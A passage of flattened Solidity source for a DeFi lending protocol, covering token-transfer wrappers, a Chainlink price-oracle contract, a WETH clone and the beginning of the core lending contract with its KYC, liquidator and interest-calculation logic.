* and it returned Error.NO_ERROR, this should not revert in normal conditions.
*
* Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value.
* See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca
*/
function doTransferIn(
address asset,
address from,
uint256 amount
) internal returns (Error) {
EIP20NonStandardInterface token = EIP20NonStandardInterface(asset);
bool result;
token.transferFrom(from, address(this), amount);
assembly {
switch returndatasize()
case 0 {
// This is a non-standard ERC-20
result := not(0) // set result to true
}
case 32 {
// This is a compliant ERC-20
returndatacopy(0, 0, 32)
result := mload(0) // Set `result = returndata` of external call
}
default {
// This is an excessively non-compliant ERC-20, revert.
revert(0, 0)
}
}
if (!result) {
return Error.TOKEN_TRANSFER_FAILED;
}
return Error.NO_ERROR;
}
/**
* @dev Checks balance of this contract in asset
*/
function getCash(address asset) internal view returns (uint256) {
EIP20Interface token = EIP20Interface(asset);
return token.balanceOf(address(this));
}
/**
* @dev Checks balance of `from` in `asset`
*/
function getBalanceOf(address asset, address from)
internal
view
returns (uint256)
{
EIP20Interface token = EIP20Interface(asset);
return token.balanceOf(from);
}
/**
* @dev Similar to EIP20 transfer, except it handles a False result from `transfer` and returns an explanatory
* error code rather than reverting. If caller has not called checked protocol's balance, this may revert due to
* insufficient cash held in this contract. If caller has checked protocol's balance prior to this call, and verified
* it is >= amount, this should not revert in normal conditions.
*
* Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value.
* See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca
*/
function doTransferOut(
address asset,
address to,
uint256 amount
) internal returns (Error) {
EIP20NonStandardInterface token = EIP20NonStandardInterface(asset);
bool result;
token.transfer(to, amount);
assembly {
switch returndatasize()
case 0 {
// This is a non-standard ERC-20
result := not(0) // set result to true
}
case 32 {
// This is a complaint ERC-20
returndatacopy(0, 0, 32)
result := mload(0) // Set `result = returndata` of external call
}
default {
// This is an excessively non-compliant ERC-20, revert.
revert(0, 0)
}
}
if (!result) {
return Error.TOKEN_TRANSFER_OUT_FAILED;
}
return Error.NO_ERROR;
}
function doApprove(
address asset,
address to,
uint256 amount
) internal returns (Error) {
EIP20NonStandardInterface token = EIP20NonStandardInterface(asset);
bool result;
token.approve(to, amount);
assembly {
switch returndatasize()
case 0 {
// This is a non-standard ERC-20
result := not(0) // set result to true
}
case 32 {
// This is a complaint ERC-20
returndatacopy(0, 0, 32)
result := mload(0) // Set `result = returndata` of external call
}
default {
// This is an excessively non-compliant ERC-20, revert.
revert(0, 0)
}
}
if (!result) {
return Error.TOKEN_TRANSFER_OUT_FAILED;
}
return Error.NO_ERROR;
}
}
// File: contracts/AggregatorV3Interface.sol
pragma solidity 0.4.24;
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
// File: contracts/ChainLink.sol
pragma solidity 0.4.24;
contract ChainLink {
mapping(address => AggregatorV3Interface) internal priceContractMapping;
address public admin;
bool public paused = false;
address public wethAddressVerified;
address public wethAddressPublic;
AggregatorV3Interface public USDETHPriceFeed;
uint256 constant expScale = 10**18;
uint8 constant eighteen = 18;
/**
* Sets the admin
* Add assets and set Weth Address using their own functions
*/
constructor() public {
admin = msg.sender;
}
/**
* Modifier to restrict functions only by admins
*/
modifier onlyAdmin() {
require(
msg.sender == admin,
"Only the Admin can perform this operation"
);
_;
}
/**
* Event declarations for all the operations of this contract
*/
event assetAdded(
address indexed assetAddress,
address indexed priceFeedContract
);
event assetRemoved(address indexed assetAddress);
event adminChanged(address indexed oldAdmin, address indexed newAdmin);
event verifiedWethAddressSet(address indexed wethAddressVerified);
event publicWethAddressSet(address indexed wethAddressPublic);
event contractPausedOrUnpaused(bool currentStatus);
/**
* Allows admin to add a new asset for price tracking
*/
function addAsset(address assetAddress, address priceFeedContract)
public
onlyAdmin
{
require(
assetAddress != address(0) && priceFeedContract != address(0),
"Asset or Price Feed address cannot be 0x00"
);
priceContractMapping[assetAddress] = AggregatorV3Interface(
priceFeedContract
);
emit assetAdded(assetAddress, priceFeedContract);
}
/**
* Allows admin to remove an existing asset from price tracking
*/
function removeAsset(address assetAddress) public onlyAdmin {
require(
assetAddress != address(0),
"Asset or Price Feed address cannot be 0x00"
);
priceContractMapping[assetAddress] = AggregatorV3Interface(address(0));
emit assetRemoved(assetAddress);
}
/**
* Allows admin to change the admin of the contract
*/
function changeAdmin(address newAdmin) public onlyAdmin {
require(
newAdmin != address(0),
"Asset or Price Feed address cannot be 0x00"
);
emit adminChanged(admin, newAdmin);
admin = newAdmin;
}
/**
* Allows admin to set the weth address for verified protocol
*/
function setWethAddressVerified(address _wethAddressVerified) public onlyAdmin {
require(_wethAddressVerified != address(0), "WETH address cannot be 0x00");
wethAddressVerified = _wethAddressVerified;
emit verifiedWethAddressSet(_wethAddressVerified);
}
/**
* Allows admin to set the weth address for public protocol
*/
function setWethAddressPublic(address _wethAddressPublic) public onlyAdmin {
require(_wethAddressPublic != address(0), "WETH address cannot be 0x00");
wethAddressPublic = _wethAddressPublic;
emit publicWethAddressSet(_wethAddressPublic);
}
/**
* Allows admin to pause and unpause the contract
*/
function togglePause() public onlyAdmin {
if (paused) {
paused = false;
emit contractPausedOrUnpaused(false);
} else {
paused = true;
emit contractPausedOrUnpaused(true);
}
}
/**
* Returns the latest price scaled to 1e18 scale
*/
function getAssetPrice(address asset) public view returns (uint256, uint8) {
// Return 1 * 10^18 for WETH, otherwise return actual price
if (!paused) {
if ( asset == wethAddressVerified || asset == wethAddressPublic ){
return (expScale, eighteen);
}
}
// Capture the decimals in the ERC20 token
uint8 assetDecimals = EIP20Interface(asset).decimals();
if (!paused && priceContractMapping[asset] != address(0)) {
(
uint80 roundID,
int256 price,
uint256 startedAt,
uint256 timeStamp,
uint80 answeredInRound
) = priceContractMapping[asset].latestRoundData();
startedAt; // To avoid compiler warnings for unused local variable
// If the price data was not refreshed for the past 1 day, prices are considered stale
// This threshold is the maximum Chainlink uses to update the price feeds
require(timeStamp > (now - 86500 seconds), "Stale data");
// If answeredInRound is less than roundID, prices are considered stale
require(answeredInRound >= roundID, "Stale Data");
if (price > 0) {
// Magnify the result based on decimals
return (uint256(price), assetDecimals);
} else {
return (0, assetDecimals);
}
} else {
return (0, assetDecimals);
}
}
function() public payable {
require(
msg.sender.send(msg.value),
"Fallback function initiated but refund failed"
);
}
}
// File: contracts/AlkemiWETH.sol
// Cloned from https://github.com/gnosis/canonical-weth/blob/master/contracts/WETH9.sol -> Commit id: 0dd1ea3
pragma solidity 0.4.24;
contract AlkemiWETH {
string public name = "Wrapped Ether";
string public symbol = "WETH";
uint8 public decimals = 18;
event Approval(address indexed src, address indexed guy, uint256 wad);
event Transfer(address indexed src, address indexed dst, uint256 wad);
event Deposit(address indexed dst, uint256 wad);
event Withdrawal(address indexed src, uint256 wad);
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
function() public payable {
deposit();
}
function deposit() public payable {
balanceOf[msg.sender] += msg.value;
emit Deposit(msg.sender, msg.value);
emit Transfer(address(0), msg.sender, msg.value);
}
function withdraw(address user, uint256 wad) public {
require(balanceOf[msg.sender] >= wad);
balanceOf[msg.sender] -= wad;
user.transfer(wad);
emit Withdrawal(msg.sender, wad);
emit Transfer(msg.sender, address(0), wad);
}
function totalSupply() public view returns (uint256) {
return address(this).balance;
}
function approve(address guy, uint256 wad) public returns (bool) {
allowance[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
function transfer(address dst, uint256 wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(
address src,
address dst,
uint256 wad
) public returns (bool) {
require(balanceOf[src] >= wad);
if (src != msg.sender && allowance[src][msg.sender] != uint256(-1)) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}
balanceOf[src] -= wad;
balanceOf[dst] += wad;
emit Transfer(src, dst, wad);
return true;
}
}
// File: contracts/RewardControlInterface.sol
pragma solidity 0.4.24;
contract RewardControlInterface {
/**
* @notice Refresh ALK supply index for the specified market and supplier
* @param market The market whose supply index to update
* @param supplier The address of the supplier to distribute ALK to
* @param isVerified Verified / Public protocol
*/
function refreshAlkSupplyIndex(
address market,
address supplier,
bool isVerified
) external;
/**
* @notice Refresh ALK borrow index for the specified market and borrower
* @param market The market whose borrow index to update
* @param borrower The address of the borrower to distribute ALK to
* @param isVerified Verified / Public protocol
*/
function refreshAlkBorrowIndex(
address market,
address borrower,
bool isVerified
) external;
/**
* @notice Claim all the ALK accrued by holder in all markets
* @param holder The address to claim ALK for
*/
function claimAlk(address holder) external;
/**
* @notice Claim all the ALK accrued by holder by refreshing the indexes on the specified market only
* @param holder The address to claim ALK for
* @param market The address of the market to refresh the indexes for
* @param isVerified Verified / Public protocol
*/
function claimAlk(
address holder,
address market,
bool isVerified
) external;
}
// File: contracts/AlkemiEarnVerified.sol
pragma solidity 0.4.24;
contract AlkemiEarnVerified is Exponential, SafeToken {
uint256 internal initialInterestIndex;
uint256 internal defaultOriginationFee;
uint256 internal defaultCollateralRatio;
uint256 internal defaultLiquidationDiscount;
// minimumCollateralRatioMantissa and maximumLiquidationDiscountMantissa cannot be declared as constants due to upgradeability
// Values cannot be assigned directly as OpenZeppelin upgrades do not support the same
// Values can only be assigned using initializer() below
// However, there is no way to change the below values using any functions and hence they act as constants
uint256 public minimumCollateralRatioMantissa;
uint256 public maximumLiquidationDiscountMantissa;
bool private initializationDone; // To make sure initializer is called only once
/**
* @notice `AlkemiEarnVerified` is the core contract
* @notice This contract uses Openzeppelin Upgrades plugin to make use of the upgradeability functionality using proxies
* @notice Hence this contract has an 'initializer' in place of a 'constructor'
* @notice Make sure to add new global variables only at the bottom of all the existing global variables i.e., line #344
* @notice Also make sure to do extensive testing while modifying any structs and enums during an upgrade
*/
function initializer() public {
if (initializationDone == false) {
initializationDone = true;
admin = msg.sender;
initialInterestIndex = 10**18;
minimumCollateralRatioMantissa = 11 * (10**17); // 1.1
maximumLiquidationDiscountMantissa = (10**17); // 0.1
collateralRatio = Exp({mantissa: 125 * (10**16)});
originationFee = Exp({mantissa: (10**15)});
liquidationDiscount = Exp({mantissa: (10**17)});
// oracle must be configured via _adminFunctions
}
}
/**
* @notice Do not pay directly into AlkemiEarnVerified, please use `supply`.
*/
function() public payable {
revert();
}
/**
* @dev pending Administrator for this contract.
*/
address public pendingAdmin;
/**
* @dev Administrator for this contract. Initially set in constructor, but can
* be changed by the admin itself.
*/
address public admin;
/**
* @dev Managers for this contract with limited permissions. Can
* be changed by the admin.
* Though unused, the below variable cannot be deleted as it will hinder upgradeability
* Will be cleared during the next compiler version upgrade
*/
mapping(address => bool) public managers;
/**
* @dev Account allowed to set oracle prices for this contract. Initially set
* in constructor, but can be changed by the admin.
*/
address private oracle;
/**
* @dev Modifier to check if the caller is the admin of the contract
*/
modifier onlyOwner() {
require(msg.sender == admin, "Owner check failed");
_;
}
/**
* @dev Modifier to check if the caller is KYC verified
*/
modifier onlyCustomerWithKYC() {
require(
customersWithKYC[msg.sender],
"KYC_CUSTOMER_VERIFICATION_CHECK_FAILED"
);
_;
}
/**
* @dev Account allowed to fetch chainlink oracle prices for this contract. Can be changed by the admin.
*/
ChainLink public priceOracle;
/**
* @dev Container for customer balance information written to storage.
*
* struct Balance {
* principal = customer total balance with accrued interest after applying the customer's most recent balance-changing action
* interestIndex = Checkpoint for interest calculation after the customer's most recent balance-changing action
* }
*/
struct Balance {
uint256 principal;
uint256 interestIndex;
}
/**
* @dev 2-level map: customerAddress -> assetAddress -> balance for supplies
*/
mapping(address => mapping(address => Balance)) public supplyBalances;
/**
* @dev 2-level map: customerAddress -> assetAddress -> balance for borrows
*/
mapping(address => mapping(address => Balance)) public borrowBalances;
/**
* @dev Container for per-asset balance sheet and interest rate information written to storage, intended to be stored in a map where the asset address is the key
*
* struct Market {
* isSupported = Whether this market is supported or not (not to be confused with the list of collateral assets)
* blockNumber = when the other values in this struct were calculated
* interestRateModel = Interest Rate model, which calculates supply interest rate and borrow interest rate based on Utilization, used for the asset
* totalSupply = total amount of this asset supplied (in asset wei)
* supplyRateMantissa = the per-block interest rate for supplies of asset as of blockNumber, scaled by 10e18
* supplyIndex = the interest index for supplies of asset as of blockNumber; initialized in _supportMarket
* totalBorrows = total amount of this asset borrowed (in asset wei)
* borrowRateMantissa = the per-block interest rate for borrows of asset as of blockNumber, scaled by 10e18
* borrowIndex = the interest index for borrows of asset as of blockNumber; initialized in _supportMarket
* }
*/
struct Market {
bool isSupported;
uint256 blockNumber;
InterestRateModel interestRateModel;
uint256 totalSupply;
uint256 supplyRateMantissa;
uint256 supplyIndex;
uint256 totalBorrows;
uint256 borrowRateMantissa;
uint256 borrowIndex;
}
/**
* @dev wethAddress to hold the WETH token contract address
* set using setWethAddress function
*/
address private wethAddress;
/**
* @dev Initiates the contract for supply and withdraw Ether and conversion to WETH
*/
AlkemiWETH public WETHContract;
/**
* @dev map: assetAddress -> Market
*/
mapping(address => Market) public markets;
/**
* @dev list: collateralMarkets
*/
address[] public collateralMarkets;
/**
* @dev The collateral ratio that borrows must maintain (e.g. 2 implies 2:1). This
* is initially set in the constructor, but can be changed by the admin.
*/
Exp public collateralRatio;
/**
* @dev originationFee for new borrows.
*
*/
Exp public originationFee;
/**
* @dev liquidationDiscount for collateral when liquidating borrows
*
*/
Exp public liquidationDiscount;
/**
* @dev flag for whether or not contract is paused
*
*/
bool public paused;
/**
* @dev Mapping to identify the list of KYC Admins
*/
mapping(address => bool) public KYCAdmins;
/**
* @dev Mapping to identify the list of customers with verified KYC
*/
mapping(address => bool) public customersWithKYC;
/**
* @dev Mapping to identify the list of customers with Liquidator roles
*/
mapping(address => bool) public liquidators;
/**
* The `SupplyLocalVars` struct is used internally in the `supply` function.
*
* To avoid solidity limits on the number of local variables we:
* 1. Use a struct to hold local computation localResults
* 2. Re-use a single variable for Error returns. (This is required with 1 because variable binding to tuple localResults
* requires either both to be declared inline or both to be previously declared.
* 3. Re-use a boolean error-like return variable.
*/
struct SupplyLocalVars {
uint256 startingBalance;
uint256 newSupplyIndex;
uint256 userSupplyCurrent;
uint256 userSupplyUpdated;
uint256 newTotalSupply;
uint256 currentCash;
uint256 updatedCash;
uint256 newSupplyRateMantissa;
uint256 newBorrowIndex;
uint256 newBorrowRateMantissa;
}
/**
* The `WithdrawLocalVars` struct is used internally in the `withdraw` function.
*
* To avoid solidity limits on the number of local variables we:
* 1. Use a struct to hold local computation localResults
* 2. Re-use a single variable for Error returns. (This is required with 1 because variable binding to tuple localResults
* requires either both to be declared inline or both to be previously declared.
* 3. Re-use a boolean error-like return variable.
*/
struct WithdrawLocalVars {
uint256 withdrawAmount;
uint256 startingBalance;
uint256 newSupplyIndex;
uint256 userSupplyCurrent;
uint256 userSupplyUpdated;
uint256 newTotalSupply;
uint256 currentCash;
uint256 updatedCash;
uint256 newSupplyRateMantissa;
uint256 newBorrowIndex;
uint256 newBorrowRateMantissa;
uint256 withdrawCapacity;
Exp accountLiquidity;
Exp accountShortfall;
Exp ethValueOfWithdrawal;
}
// The `AccountValueLocalVars` struct is used internally in the `CalculateAccountValuesInternal` function.
struct AccountValueLocalVars {
address assetAddress;
uint256 collateralMarketsLength;
uint256 newSupplyIndex;
uint256 userSupplyCurrent;
uint256 newBorrowIndex;
uint256 userBorrowCurrent;
Exp borrowTotalValue;
Exp sumBorrows;
Exp supplyTotalValue;
Exp sumSupplies;
}
// The `PayBorrowLocalVars` struct is used internally in the `repayBorrow` function.
struct PayBorrowLocalVars {
uint256 newBorrowIndex;
uint256 userBorrowCurrent;
uint256 repayAmount;
uint256 userBorrowUpdated;
uint256 newTotalBorrows;
uint256 currentCash;
uint256 updatedCash;
uint256 newSupplyIndex;
uint256 newSupplyRateMantissa;
uint256 newBorrowRateMantissa;
uint256 startingBalance;
}
// The `BorrowLocalVars` struct is used internally in the `borrow` function.
struct BorrowLocalVars {
uint256 newBorrowIndex;
uint256 userBorrowCurrent;
uint256 borrowAmountWithFee;
uint256 userBorrowUpdated;
uint256 newTotalBorrows;
uint256 currentCash;
uint256 updatedCash;
uint256 newSupplyIndex;
uint256 newSupplyRateMantissa;
uint256 newBorrowRateMantissa;
uint256 startingBalance;
Exp accountLiquidity;
Exp accountShortfall;
Exp ethValueOfBorrowAmountWithFee;
}
// The `LiquidateLocalVars` struct is used internally in the `liquidateBorrow` function.
struct LiquidateLocalVars {
// we need these addresses in the struct for use with `emitLiquidationEvent` to avoid `CompilerError: Stack too deep, try removing local variables.`
address targetAccount;
address assetBorrow;
address liquidator;
address assetCollateral;
// borrow index and supply index are global to the asset, not specific to the user
uint256 newBorrowIndex_UnderwaterAsset;
uint256 newSupplyIndex_UnderwaterAsset;
uint256 newBorrowIndex_CollateralAsset;
uint256 newSupplyIndex_CollateralAsset;
// the target borrow's full balance with accumulated interest
uint256 currentBorrowBalance_TargetUnderwaterAsset;
// currentBorrowBalance_TargetUnderwaterAsset minus whatever gets repaid as part of the liquidation
uint256 updatedBorrowBalance_TargetUnderwaterAsset;
uint256 newTotalBorrows_ProtocolUnderwaterAsset;
uint256 startingBorrowBalance_TargetUnderwaterAsset;
uint256 startingSupplyBalance_TargetCollateralAsset;
uint256 startingSupplyBalance_LiquidatorCollateralAsset;
uint256 currentSupplyBalance_TargetCollateralAsset;
uint256 updatedSupplyBalance_TargetCollateralAsset;
// If liquidator already has a balance of collateralAsset, we will accumulate
// interest on it before transferring seized collateral from the borrower.
uint256 currentSupplyBalance_LiquidatorCollateralAsset;
// This will be the liquidator's accumulated balance of collateral asset before the liquidation (if any)
// plus the amount seized from the borrower.
uint256 updatedSupplyBalance_LiquidatorCollateralAsset;
uint256 newTotalSupply_ProtocolCollateralAsset;
uint256 currentCash_ProtocolUnderwaterAsset;
uint256 updatedCash_ProtocolUnderwaterAsset;
// cash does not change for collateral asset
uint256 newSupplyRateMantissa_ProtocolUnderwaterAsset;
uint256 newBorrowRateMantissa_ProtocolUnderwaterAsset;
// Why no variables for the interest rates for the collateral asset?
// We don't need to calculate new rates for the collateral asset since neither cash nor borrows change
uint256 discountedRepayToEvenAmount;
//[supplyCurrent / (1 + liquidationDiscount)] * (Oracle price for the collateral / Oracle price for the borrow) (discountedBorrowDenominatedCollateral)
uint256 discountedBorrowDenominatedCollateral;
uint256 maxCloseableBorrowAmount_TargetUnderwaterAsset;
uint256 closeBorrowAmount_TargetUnderwaterAsset;
uint256 seizeSupplyAmount_TargetCollateralAsset;
uint256 reimburseAmount;
Exp collateralPrice;
Exp underwaterAssetPrice;
}
/**
* @dev 2-level map: customerAddress -> assetAddress -> originationFeeBalance for borrows
*/
mapping(address => mapping(address => uint256))
public originationFeeBalance;
/**
* @dev Reward Control Contract address
*/
RewardControlInterface public rewardControl;
/**
* @notice Multiplier used to calculate the maximum repayAmount when liquidating a borrow
*/
uint256 public closeFactorMantissa;
/// @dev _guardCounter and nonReentrant modifier extracted from Open Zeppelin's reEntrancyGuard
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 public _guardCounter;
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* If you mark a function `nonReentrant`, you should also
* mark it `external`. Calling one `nonReentrant` function from
* another is not supported. Instead, you can implement a
* `private` function doing the actual work, and an `external`
* wrapper marked as `nonReentrant`.
*/
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
/**
* @dev Events to notify the frontend of all the functions below
*/
event LiquidatorChanged(address indexed Liquidator, bool newStatus);
/**
* @dev emitted when a supply is received
* Note: newBalance - amount - startingBalance = interest accumulated since last change
*/
event SupplyReceived(
address account,
address asset,
uint256 amount,
uint256 startingBalance,
uint256 newBalance
);
/**
* @dev emitted when a supply is withdrawn
* Note: startingBalance - amount - startingBalance = interest accumulated since last change
*/
event SupplyWithdrawn(
address account,
address asset,
uint256 amount,
uint256 startingBalance,
uint256 newBalance
);
/**
* @dev emitted when a new borrow is taken
* Note: newBalance - borrowAmountWithFee - startingBalance = interest accumulated since last change
*/
event BorrowTaken(
address account,
address asset,
uint256 amount,
uint256 startingBalance,
uint256 borrowAmountWithFee,
uint256 newBalance
);
/**
* @dev emitted when a borrow is repaid
* Note: newBalance - amount - startingBalance = interest accumulated since last change
*/
event BorrowRepaid(
address account,
address asset,
uint256 amount,
uint256 startingBalance,
uint256 newBalance
);
/**
* @dev emitted when a borrow is liquidated
* targetAccount = user whose borrow was liquidated
* assetBorrow = asset borrowed
* borrowBalanceBefore = borrowBalance as most recently stored before the liquidation
* borrowBalanceAccumulated = borroBalanceBefore + accumulated interest as of immediately prior to the liquidation
* amountRepaid = amount of borrow repaid
* liquidator = account requesting the liquidation
* assetCollateral = asset taken from targetUser and given to liquidator in exchange for liquidated loan
* borrowBalanceAfter = new stored borrow balance (should equal borrowBalanceAccumulated - amountRepaid)
* collateralBalanceBefore = collateral balance as most recently stored before the liquidation
* collateralBalanceAccumulated = collateralBalanceBefore + accumulated interest as of immediately prior to the liquidation
* amountSeized = amount of collateral seized by liquidator
* collateralBalanceAfter = new stored collateral balance (should equal collateralBalanceAccumulated - amountSeized)
* assetBorrow and assetCollateral are not indexed as indexed addresses in an event is limited to 3
*/
event BorrowLiquidated(
address indexed targetAccount,
address assetBorrow,
uint256 borrowBalanceAccumulated,
uint256 amountRepaid,
address indexed liquidator,
address assetCollateral,
uint256 amountSeized
);
/**
* @dev emitted when admin withdraws equity
* Note that `equityAvailableBefore` indicates equity before `amount` was removed.
*/
event EquityWithdrawn(
address indexed asset,
uint256 equityAvailableBefore,
uint256 amount,
address indexed owner
);
/**
* @dev KYC Integration
*/
/**
* @dev Events to notify the frontend of all the functions below
*/
event KYCAdminChanged(address indexed KYCAdmin, bool newStatus);
event KYCCustomerChanged(address indexed KYCCustomer, bool newStatus);
/**
* @dev Function for use by the admin of the contract to add or remove KYC Admins
*/
function _changeKYCAdmin(address KYCAdmin, bool newStatus)
public
onlyOwner
{
KYCAdmins[KYCAdmin] = newStatus;
emit KYCAdminChanged(KYCAdmin, newStatus);
}
/**
* @dev Function for use by the KYC admins to add or remove KYC Customers
*/
function _changeCustomerKYC(address customer, bool newStatus) public {
require(KYCAdmins[msg.sender], "KYC_ADMIN_CHECK_FAILED");
customersWithKYC[customer] = newStatus;
emit KYCCustomerChanged(customer, newStatus);
}
/**
* @dev Liquidator Integration
*/
/**
* @dev Function for use by the admin of the contract to add or remove Liquidators
*/
function _changeLiquidator(address liquidator, bool newStatus)
public
onlyOwner
{
liquidators[liquidator] = newStatus;
emit LiquidatorChanged(liquidator, newStatus);
}
/**
* @dev Simple function to calculate min between two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
if (a < b) {
return a;
} else {
return b;
}
}
/**
* @dev Adds a given asset to the list of collateral markets. This operation is impossible to reverse.
* Note: this will not add the asset if it already exists.
*/
function addCollateralMarket(address asset) internal {
for (uint256 i = 0; i < collateralMarkets.length; i++) {
if (collateralMarkets[i] == asset) {
return;
}
}
collateralMarkets.push(asset);
}
/**
* @dev Calculates a new supply index based on the prevailing interest rates applied over time
* This is defined as `we multiply the most recent supply index by (1 + blocks times rate)`
* @return Return value is expressed in 1e18 scale
*/
function calculateInterestIndex(
uint256 startingInterestIndex,
uint256 interestRateMantissa,
uint256 blockStart,
uint256 blockEnd
) internal pure returns (Error, uint256) {
// Get the block delta
(Error err0, uint256 blockDelta) = sub(blockEnd, blockStart);
if (err0 != Error.NO_ERROR) {
return (err0, 0);
}
// Scale the interest rate times number of blocks
// Note: Doing Exp construction inline to avoid `CompilerError: Stack too deep, try removing local variables.`
(Error err1, Exp memory blocksTimesRate) = mulScalar(
Exp({mantissa: interestRateMantissa}),
blockDelta
);
if (err1 != Error.NO_ERROR) {
return (err1, 0);
}
// Add one to that result (which is really Exp({mantissa: expScale}) which equals 1.0)
(Error err2, Exp memory onePlusBlocksTimesRate) = addExp(
blocksTimesRate,
Exp({mantissa: mantissaOne})
);
if (err2 != Error.NO_ERROR) {
return (err2, 0);
}
// Then scale that accumulated interest by the old interest index to get the new interest index
(Error err3, Exp memory newInterestIndexExp) = mulScalar(
onePlusBlocksTimesRate,
startingInterestIndex
);
if (err3 != Error.NO_ERROR) {
return (err3, 0);
}
// Finally, truncate the interest index. This works only if interest index starts large enough
// that is can be accurately represented with a whole number.
return (Error.NO_ERROR, truncate(newInterestIndexExp));
}
/**
* @dev Calculates a new balance based on a previous balance and a pair of interest indices
* This is defined as: `The user's last balance checkpoint is multiplied by the currentSupplyIndex
* value and divided by the user's checkpoint index value`
* @return Return value is expressed in 1e18 scale
*/
function calculateBalance(
uint256 startingBalance,
uint256 interestIndexStart,
uint256 interestIndexEnd
) internal pure returns (Error, uint256) {
if (startingBalance == 0) {
// We are accumulating interest on any previous balance; if there's no previous balance, then there is
// nothing to accumulate.
return (Error.NO_ERROR, 0);
}
(Error err0, uint256 balanceTimesIndex) = mul(
startingBalance,
interestIndexEnd
);
if (err0 != Error.NO_ERROR) {
return (err0, 0);
}
return div(balanceTimesIndex, interestIndexStart);
}
/**
* @dev Gets the price for the amount specified of the given asset.
* @return Return value is expressed in a magnified scale per token decimals
*/
function getPriceForAssetAmount(
address asset,
uint256 assetAmount,
bool mulCollatRatio
) internal view returns (Error, Exp memory) {
(Error err, Exp memory assetPrice) = fetchAssetPrice(asset);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}));
}
if (isZeroExp(assetPrice)) {
return (Error.MISSING_ASSET_PRICE, Exp({mantissa: 0}));
}
if (mulCollatRatio) {
Exp memory scaledPrice;
// Now, multiply the assetValue by the collateral ratio
(err, scaledPrice) = mulExp(collateralRatio, assetPrice);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}));
}
// Get the price for the given asset amount
return mulScalar(scaledPrice, assetAmount);
}
return mulScalar(assetPrice, assetAmount); // assetAmountWei * oraclePrice = assetValueInEth
}
/**
* @dev Calculates the origination fee added to a given borrowAmount
* This is simply `(1 + originationFee) * borrowAmount`
* @return Return value is expressed in 1e18 scale
*/
function calculateBorrowAmountWithFee(uint256 borrowAmount)
internal
view
returns (Error, uint256)
{
// When origination fee is zero, the amount with fee is simply equal to the amount
if (isZeroExp(originationFee)) {
return (Error.NO_ERROR, borrowAmount);
}
(Error err0, Exp memory originationFeeFactor) = addExp(
originationFee,
Exp({mantissa: mantissaOne})
);
if (err0 != Error.NO_ERROR) {
return (err0, 0);
}
(Error err1, Exp memory borrowAmountWithFee) = mulScalar(
originationFeeFactor,
borrowAmount
);
if (err1 != Error.NO_ERROR) {
return (err1, 0);
}
return (Error.NO_ERROR, truncate(borrowAmountWithFee));
}
/**
* @dev fetches the price of asset from the PriceOracle and converts it to Exp
* @param asset asset whose price should be fetched
* @return Return value is expressed in a magnified scale per token decimals
*/
function fetchAssetPrice(address asset)
internal
view
returns (Error, Exp memory)
{
if (priceOracle == address(0)) {
return (Error.ZERO_ORACLE_ADDRESS, Exp({mantissa: 0}));
}
if (priceOracle.paused()) {
return (Error.MISSING_ASSET_PRICE, Exp({mantissa: 0}));
}
(uint256 priceMantissa, uint8 assetDecimals) = priceOracle
.getAssetPrice(asset);
(Error err, uint256 magnification) = sub(18, uint256(assetDecimals));
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}));
}
(err, priceMantissa) = mul(priceMantissa, 10**magnification);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}));
}
return (Error.NO_ERROR, Exp({mantissa: priceMantissa}));
}
/**
* @notice Reads scaled price of specified asset from the price oracle
* @dev Reads scaled price of specified asset from the price oracle.
* The plural name is to match a previous storage mapping that this function replaced.
* @param asset Asset whose price should be retrieved
* @return 0 on an error or missing price, the price scaled by 1e18 otherwise
*/
function assetPrices(address asset) public view returns (uint256) {
(Error err, Exp memory result) = fetchAssetPrice(asset);
if (err != Error.NO_ERROR) {
return 0;
}
return result.mantissa;
}
/**
* @dev Gets the amount of the specified asset given the specified Eth value
* ethValue / oraclePrice = assetAmountWei
* If there's no oraclePrice, this returns (Error.DIVISION_BY_ZERO, 0)
* @return Return value is expressed in a magnified scale per token decimals
*/
function getAssetAmountForValue(address asset, Exp ethValue)
internal
view
returns (Error, uint256)
{
Error err;
Exp memory assetPrice;
Exp memory assetAmount;
(err, assetPrice) = fetchAssetPrice(asset);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, assetAmount) = divExp(ethValue, assetPrice);
if (err != Error.NO_ERROR) {
return (err, 0);
}
return (Error.NO_ERROR, truncate(assetAmount));
}
/**
* @notice Admin Functions. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @param newPendingAdmin New pending admin
* @param newOracle New oracle address
* @param requestedState value to assign to `paused`
* @param originationFeeMantissa rational collateral ratio, scaled by 1e18.
* @param newCloseFactorMantissa new Close Factor, scaled by 1e18
* @param wethContractAddress WETH Contract Address
* @param _rewardControl Reward Control Address
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _adminFunctions(
address newPendingAdmin,
address newOracle,
bool requestedState,
uint256 originationFeeMantissa,
uint256 newCloseFactorMantissa,
address wethContractAddress,
address _rewardControl
) public onlyOwner returns (uint256) {
